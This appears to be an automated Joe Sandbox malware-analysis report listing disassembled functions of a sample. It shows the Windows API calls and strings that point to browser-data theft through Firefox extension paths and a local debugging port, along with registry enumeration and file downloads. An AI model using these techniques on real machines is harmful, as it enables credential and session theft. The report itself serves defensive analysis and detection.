Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 4db419f40b36675d0a05fd09870c1a907b49abd7418deb7b20962af4619e6d30
Instruction ID: 1ca7c2ca64fa60d001df952a83905ba8626eb8b23387e846b02e8176432b2f4b
Opcode Fuzzy Hash: 4db419f40b36675d0a05fd09870c1a907b49abd7418deb7b20962af4619e6d30
Instruction Fuzzy Hash: EC51B831700322AFC711AF75EE4DB6F767AAF54745F41102AF905A32A1DFB89901CBA8

Function 004148C0 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 309stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 004148F3
LocalAlloc.KERNEL32(00000040,?), ref: 00414925
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00414972
lstrlenA.KERNEL32(00434B68), ref: 0041497D
lstrcpy.KERNEL32(00000000,00000000), ref: 0041499A
lstrcatA.KERNEL32(00000000,00434B68), ref: 004149A6
lstrcpy.KERNEL32(00000000,00000000), ref: 004149CB
lstrcpy.KERNEL32(00000000,00000000), ref: 004149F8
lstrcatA.KERNEL32(00000000,00000000), ref: 00414A03
lstrcpy.KERNEL32(00000000,00000000), ref: 00414A2A
StrStrA.SHLWAPI(?,00000000), ref: 00414A3C
lstrlenA.KERNEL32(?), ref: 00414A50
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00414A91
lstrcpy.KERNEL32(00000000,?), ref: 00414B18
lstrcpy.KERNEL32(00000000,?), ref: 00414B41
lstrcpy.KERNEL32(00000000,?), ref: 00414B6A
lstrcpy.KERNEL32(00000000,?), ref: 00414B90
lstrcpy.KERNEL32(00000000,?), ref: 00414BBD

Strings

moz-extension+++, xrefs: 00414A97
^userContextId=4294967295, xrefs: 00414AB4

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcatlstrlen$AllocLocal
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 4107348322-3310892237
Opcode ID: 32cb104ece3628099e8a1cd2f8a0c17de25ec3b60f07803f699827bad373e068
Instruction ID: 02576ffb00664d070ad8e569c996d4ac205c6fd51e0fe86355c614998886938d
Opcode Fuzzy Hash: 32cb104ece3628099e8a1cd2f8a0c17de25ec3b60f07803f699827bad373e068
Instruction Fuzzy Hash: 06B1B171B112069BCB21EF79D989AAF77B5AF84304F05003AF845A7391DF78EC458B98

Function 00406C40 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 229networkstringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00406C6F
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 00406CC2
InternetOpenA.WININET(0042CFF4,00000001,00000000,00000000,00000000), ref: 00406CD5
StrCmpCA.SHLWAPI(?,00869AB0), ref: 00406CED
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406D15
HttpOpenRequestA.WININET(00000000,GET,?,00873760,00000000,00000000,-00400100,00000000), ref: 00406D50
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406D77
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406D86
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406DA5
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00406DFF
lstrcpy.KERNEL32(00000000,?), ref: 00406E5B
InternetReadFile.WININET(?,00000000,000007CF,?), ref: 00406E7D
InternetCloseHandle.WININET(00000000), ref: 00406E8E
InternetCloseHandle.WININET(?), ref: 00406E98
InternetCloseHandle.WININET(00000000), ref: 00406EA2
lstrcpy.KERNEL32(00000000,00000000), ref: 00406EC3

Strings

ERROR, xrefs: 00406DB2
GET, xrefs: 00406D4A

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$FileOpenReadRequest$ConnectInfoOptionQuerySend
String ID: ERROR$GET
API String ID: 3687753495-3591763792
Opcode ID: ae17bb850610f479ee16f774b59087055b7894097a918d091f9f9d0d49ab9661
Instruction ID: 8a907297e25ef71cd4293b5d859979f41ab2109233d0e0d0d40ab909daed6b9d
Opcode Fuzzy Hash: ae17bb850610f479ee16f774b59087055b7894097a918d091f9f9d0d49ab9661
Instruction Fuzzy Hash: 3A816F71B01315ABEB20DFA4DC89BAF77B5AF44700F154069F905B72C0DBB8AD058BA8

Function 0040B309 Relevance: 30.5, APIs: 20, Instructions: 451stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040B330
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B37E
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B3A9
lstrcatA.KERNEL32(00000000,00000000), ref: 0040B3B1
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B3D9
lstrlenA.KERNEL32(00434C54), ref: 0040B450
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B474
lstrcatA.KERNEL32(00000000,00434C54), ref: 0040B480
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B4A9
lstrlenA.KERNEL32(00000000), ref: 0040B52D
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B557
lstrcatA.KERNEL32(00000000,00000000), ref: 0040B55F
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B587
lstrlenA.KERNEL32(00434ADC), ref: 0040B5FE
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B622
lstrcatA.KERNEL32(00000000,00434ADC), ref: 0040B62E
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B65E
lstrlenA.KERNEL32(?), ref: 0040B767
lstrlenA.KERNEL32(?), ref: 0040B776
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B79E

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 97228a40206d3a222048c2fd3272118c23dadbcbfe5606812ce02965eca0c5d4
Instruction ID: cf41c017070668b686516db965754aee27f4f72a114f118ac3cf5f0a8246c0b0
Opcode Fuzzy Hash: 97228a40206d3a222048c2fd3272118c23dadbcbfe5606812ce02965eca0c5d4
Instruction Fuzzy Hash: C8021D70A012059FCB25DF69D989A6AB7A1EF44308F18847EE405AB3E1D779DC42CFD8

Function 0041F4D8 Relevance: 30.1, APIs: 16, Strings: 1, Instructions: 391stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00867788), ref: 0041F4F5
lstrcpy.KERNEL32(00000000,00420710), ref: 0041F583
lstrcpy.KERNEL32(00000000,00000000), ref: 0041F5A7
lstrcpy.KERNEL32(00000000,00000000), ref: 0041F65B
lstrcpy.KERNEL32(00000000,00867788), ref: 0041F69B
lstrcpy.KERNEL32(00000000,00869990), ref: 0041F6CA
lstrcpy.KERNEL32(00000000,00000000), ref: 0041F77E
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 0041F7FC
lstrcpy.KERNEL32(00000000,?), ref: 0041F82C
lstrcpy.KERNEL32(00000000,?), ref: 0041F87A
StrCmpCA.SHLWAPI(?,ERROR), ref: 0041F8F8
lstrlenA.KERNEL32(00869840), ref: 0041F926
lstrcpy.KERNEL32(00000000,00869840), ref: 0041F951
lstrcpy.KERNEL32(00000000,00000000), ref: 0041F973
lstrcpy.KERNEL32(00000000,?), ref: 0041F9C4
StrCmpCA.SHLWAPI(?,ERROR), ref: 0041FC12
lstrlenA.KERNEL32(008697A0), ref: 0041FC40
lstrcpy.KERNEL32(00000000,008697A0), ref: 0041FC6B
lstrcpy.KERNEL32(00000000,00000000), ref: 0041FC8D
lstrcpy.KERNEL32(00000000,?), ref: 0041FCDE

Strings

ERROR, xrefs: 0041F8F2, 0041FC0C, 0041FF30

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID: ERROR
API String ID: 367037083-2861137601
Opcode ID: 47c974a6fa50a4b1b65f5b5c94e3e1aa7e18954d0e5d4b596be2199f49ccb3b9
Instruction ID: 6ead0291e07bd5f5ce182f2d4c4e74376453c0f6ff6bf3b12f238e3e90082571
Opcode Fuzzy Hash: 47c974a6fa50a4b1b65f5b5c94e3e1aa7e18954d0e5d4b596be2199f49ccb3b9
Instruction Fuzzy Hash: E4F13E70A012019FCB24DF69D948696B7E5BF44314B1881BFD8099B3A1E779DC87CF98

Function 004090C0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 161networkstringfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(Function_0002CFF4,00000001,00000000,00000000,00000000), ref: 004090DF
InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 004090FC
InternetCloseHandle.WININET(00000000), ref: 00409109
strlen.MSVCRT ref: 00409125
InternetReadFile.WININET(?,?,?,00000000), ref: 00409166
InternetReadFile.WININET(00000000,?,00001000,?), ref: 00409197
InternetCloseHandle.WININET(00000000), ref: 004091A2
InternetCloseHandle.WININET(00000000), ref: 004091A9
strlen.MSVCRT ref: 004091BA
strlen.MSVCRT ref: 004091ED
strlen.MSVCRT ref: 0040922E

Part of subcall function 00417F70: memchr.MSVCRT ref: 00417FAF
Part of subcall function 00417F70: memcmp.MSVCRT(00000000,?,?,?,"webSocketDebuggerUrl":,00000000), ref: 00417FC9
Part of subcall function 00417F70: memchr.MSVCRT ref: 00417FE8

strlen.MSVCRT ref: 0040924C

Part of subcall function 00408980: std::_Xinvalid_argument.LIBCPMT ref: 00408996

Strings

"webSocketDebuggerUrl":, xrefs: 004091B5, 004091C0
"ws://, xrefs: 00409229, 00409234
http://localhost:9229/json, xrefs: 004090F6

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: Internet$strlen$CloseHandle$FileOpenReadmemchr$Xinvalid_argumentmemcmpstd::_
String ID: "webSocketDebuggerUrl":$"ws://$http://localhost:9229/json
API String ID: 4166274400-2144369209
Opcode ID: f86eebf8e9957ebc92b9ce8b21719629aa6c9a6bf871b0609c5bc75ebadf5441
Instruction ID: 3da038be7106f6833ad32b0a15d05febb0a1008003ef6f9fefd8fd85e3a80bf5
Opcode Fuzzy Hash: f86eebf8e9957ebc92b9ce8b21719629aa6c9a6bf871b0609c5bc75ebadf5441
Instruction Fuzzy Hash: 1651B771740205ABE720DBA8DC45BDEF7B9DF48710F14016AF505B32C1DBB8A94587A9

Function 00423930 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 222registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 004273F0: lstrcpy.KERNEL32(00000000,ERROR), ref: 0042740E

RegOpenKeyExA.KERNEL32(?,0086EDA0,00000000,00020019,?,00000000,00000000,00000000), ref: 0042398D
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004239C7
wsprintfA.USER32 ref: 004239F2
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 00423A10
RegCloseKey.ADVAPI32(?), ref: 00423A1E
RegCloseKey.ADVAPI32(?), ref: 00423A28
RegQueryValueExA.KERNEL32(?,00871FD0,00000000,000F003F,?,?), ref: 00423A71
lstrlenA.KERNEL32(?), ref: 00423A86
RegQueryValueExA.KERNEL32(?,00871F70,00000000,000F003F,?,00000400), ref: 00423AF7
RegCloseKey.KERNEL32(?), ref: 00423B42
RegCloseKey.ADVAPI32(?), ref: 00423B59

Strings

?, xrefs: 0042396E
%s\%s, xrefs: 004239E6
- , xrefs: 00423B01

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: Close$OpenQueryValue$Enumlstrcpylstrlenwsprintf
String ID: - $%s\%s$?
API String ID: 13140697-3278919252
Opcode ID: 6bf086c3c3c013b4e824565aef18bc8308b89d6c179c6f39ecc8f56dec770698
Instruction ID: 6be5d660215f112ccdf8c266f9a28c4f4582eadd96c7ca663e87402f019e73ce
Opcode Fuzzy Hash: 6bf086c3c3c013b4e824565aef18bc8308b89d6c179c6f39ecc8f56dec770698
Instruction Fuzzy Hash: 0A91A072A002189FCB10DF94EC849DEBBB9FF48314F54816EE509A7251DB39AE45CFA4

Function 0040A010 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 251stringlibraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00869930,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 0040A026
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040A053
lstrlenA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;), ref: 0040A060
lstrcpy.KERNEL32(00000000,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;), ref: 0040A08A
lstrlenA.KERNEL32(00434C50), ref: 0040A095
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A0B2
lstrcatA.KERNEL32(00000000,00434C50), ref: 0040A0BE
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A0E4
lstrcatA.KERNEL32(00000000,00000000), ref: 0040A0EF
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A114
SetEnvironmentVariableA.KERNEL32(00869930,00000000), ref: 0040A12F
LoadLibraryA.KERNEL32(00872280), ref: 0040A143

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A020, 0040A05B, 0040A084

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 9615e297c963a75bb3e3766db1a6fe037bb7d1c97fb5fbb1d2f55d648032c159
Instruction ID: aaf23a7bc1e41d1f9116ad75bf4f859618088fa02cca555bb7e30d3a594c97d9
Opcode Fuzzy Hash: 9615e297c963a75bb3e3766db1a6fe037bb7d1c97fb5fbb1d2f55d648032c159
Instruction Fuzzy Hash: 66919F306007009FD7219FA5DC88AA736A6AB94705F40507AF905AB3E1EFBDDD508BDA

Function 004150C9 Relevance: 18.7, APIs: 12, Instructions: 738stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401557
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401579
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 0040159B
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 004015FF

lstrcpy.KERNEL32(00000000), ref: 00415103
lstrcpy.KERNEL32(00000000,?), ref: 00415129
lstrcpy.KERNEL32(00000000,?), ref: 00415152
lstrcpy.KERNEL32(00000000,?), ref: 0041517B
lstrcpy.KERNEL32(00000000,00000000), ref: 004151A4
lstrcpy.KERNEL32(00000000,00000000), ref: 004151C7
DeleteFileA.KERNEL32(00000000), ref: 004151EC
lstrcpy.KERNEL32(00000000,?), ref: 004152C4
lstrcpy.KERNEL32(00000000,00000000), ref: 004152EC
lstrcpy.KERNEL32(00000000,?), ref: 00415323

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$DeleteFile
String ID:
API String ID: 3632507482-0
Opcode ID: 6b0644c20936e67bc01ab949f804e0c7ad6933571ec4844e1ad563014a4fdc0f
Instruction ID: 6c7b01701ac7a94b01443deebbc01f7d1bed5163b2ff4ee007b7d72ed38e44e8
Opcode Fuzzy Hash: 6b0644c20936e67bc01ab949f804e0c7ad6933571ec4844e1ad563014a4fdc0f
Instruction Fuzzy Hash: 8162FC70A11601CFDB28CF19D558BA6B7E1AF84319B19C0AED809DB3A1D779DC82CF94

Function 00406AD0 Relevance: 16.6, APIs: 11, Instructions: 127networkfilestringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00406AFF
InternetOpenA.WININET(Function_0002CFF4,00000001,00000000,00000000,00000000), ref: 00406B2C
StrCmpCA.SHLWAPI(?,00869AB0), ref: 00406B4A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,-00800100,00000000), ref: 00406B6A
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406B88
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00406BA1
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00406BC6
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00406BF0
CloseHandle.KERNEL32(00000000), ref: 00406C10
InternetCloseHandle.WININET(00000000), ref: 00406C17
InternetCloseHandle.WININET(?), ref: 00406C21

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseHandle$OpenRead$CreateWritelstrcpy
String ID:
API String ID: 2500263513-0
Opcode ID: b5d02216c843e9875cbc29595980cf7f18edc22881535f27a429cff9a575b867
Instruction ID: 28f6004d9fc435b827a3bc8f9bbe67469d36c8410753c23a53a3daf2e3da10f0
Opcode Fuzzy Hash: b5d02216c843e9875cbc29595980cf7f18edc22881535f27a429cff9a575b867
Instruction Fuzzy Hash: E64171B1600215ABDB24DF64DC89FAE77B9EB44704F004469FA06E72C0DF74AE448BA8

Function 0041AEC8 Relevance: 15.2, APIs: 10, Instructions: 150stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32 ref: 0041AEE1
lstrlenA.KERNEL32(00871D90), ref: 0041AEF7
lstrcpy.KERNEL32(00000000,00000000), ref: 0041AF1F
lstrcatA.KERNEL32(00000000,00000000), ref: 0041AF2A
lstrcpy.KERNEL32(00000000,00000000), ref: 0041AF53
lstrcpy.KERNEL32(00000000,?), ref: 0041AF8F
lstrcatA.KERNEL32(00000000,00000000), ref: 0041AF99
lstrcpy.KERNEL32(00000000,00000000), ref: 0041AFBF
lstrlenA.KERNEL32(00000000), ref: 0041AFD5
lstrcpy.KERNEL32(00000000,00871DC0), ref: 0041B008

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcatlstrlen
String ID:
API String ID: 1049500425-0
Opcode ID: 4f504ac8705dc00f7473d43210ab71c21a0c24b3609fd853e104d70c52e56258
Instruction ID: 5e372d82a760361b1011fbfd68fe6ea9c0c71b16cbc0938c1209965ed7356f26
Opcode Fuzzy Hash: 4f504ac8705dc00f7473d43210ab71c21a0c24b3609fd853e104d70c52e56258
Instruction Fuzzy Hash: D7516B717122169BCB21EF79DD89AEF77B5AF00304F00042AB805A72A1DB78DD568B99

Function 00422910 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,00869638,00000000), ref: 0042294B
GetVolumeInformationA.KERNEL32(0042A650,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 0042297C
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004229DF
HeapAlloc.KERNEL32(00000000), ref: 004229E6
wsprintfA.USER32 ref: 00422A0B

Strings

:\, xrefs: 00422965
C, xrefs: 00422955
-B, xrefs: 00422A32

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
